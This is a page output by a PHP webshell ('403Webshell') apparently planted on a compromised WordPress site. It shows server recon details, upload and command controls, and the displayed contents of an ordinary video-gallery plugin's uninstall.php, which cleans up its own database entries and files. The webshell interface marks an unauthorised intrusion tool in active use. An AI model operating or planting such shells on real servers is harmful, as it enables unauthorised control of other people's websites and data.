403Webshell
Server IP : 104.26.3.156  /  Your IP : 216.73.216.185
Web Server : nginx/1.27.1
System : Linux us-1 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User : vinodai ( 3134)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /storage/v1396/wwwindicidolscom/public_html/wp-content/plugins/video-wc-gallery/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /storage/v1396/wwwindicidolscom/public_html/wp-content/plugins/video-wc-gallery/uninstall.php
<?php
/**
 * Fired when the plugin is uninstalled.
 *
 * Everything in uninstall.php will be executed when user decides to delete the plugin. 
 * @since		1.0
 */

// Exit if accessed directly
if ( ! defined( 'ABSPATH' ) ) exit;

// If uninstall not called from WordPress, then die.
if ( ! defined( 'WP_UNINSTALL_PLUGIN' ) ) die;

/**
 * Delete database settings
 *
 * @since		2.0
 */
$option = get_option('vwg_uninstall_settings_group');

if ($option['vwg_settings_remove_videos_data'] == 1) {

    // Delete all instances of the 'vwg_video_url' custom field
    global $wpdb;
    $wpdb->query(
        $wpdb->prepare(
            "DELETE FROM $wpdb->postmeta WHERE meta_key = %s",
            'vwg_video_url'
        )
    );

    // Delete all instances of the 'vwg_video_seo_settings' custom field
    $wpdb->query(
        $wpdb->prepare(
            "DELETE FROM $wpdb->postmeta WHERE meta_key = %s",
            'vwg_video_seo_settings'
        )
    );

    // Delete all file and directory video-wc-gallery-thumb
    $upload_dir = wp_upload_dir();
    $target_dir = $upload_dir['basedir'] . '/video-wc-gallery-thumb/';

    if (is_dir($target_dir)) {
        // Open the directory
        $dir_handle = opendir($target_dir);

        // Loop through the directory and delete files
        while (($file = readdir($dir_handle)) !== false) {
            if ($file != '.' && $file != '..') {
                $file_path = $target_dir . $file;
                unlink($file_path); // Delete the file
            }
        }

        closedir($dir_handle); // Close the directory handle

        // Delete the directory itself
        rmdir($target_dir);
    } else {
        echo 'Directory does not exist.';
    }

}

if ($option['vwg_settings_remove_settings_data'] == 1) {
    delete_option( 'vwg_settings_group' );
    delete_option( 'vwg_uninstall_settings_group' );
}
delete_option( 'abl_vwg_version' );
delete_option('vwg_monthly_notice_dismissed');
wp_clear_scheduled_hook('vwg_monthly_admin_notice');

Youez - 2016 - github.com/yon3zu
LinuXploit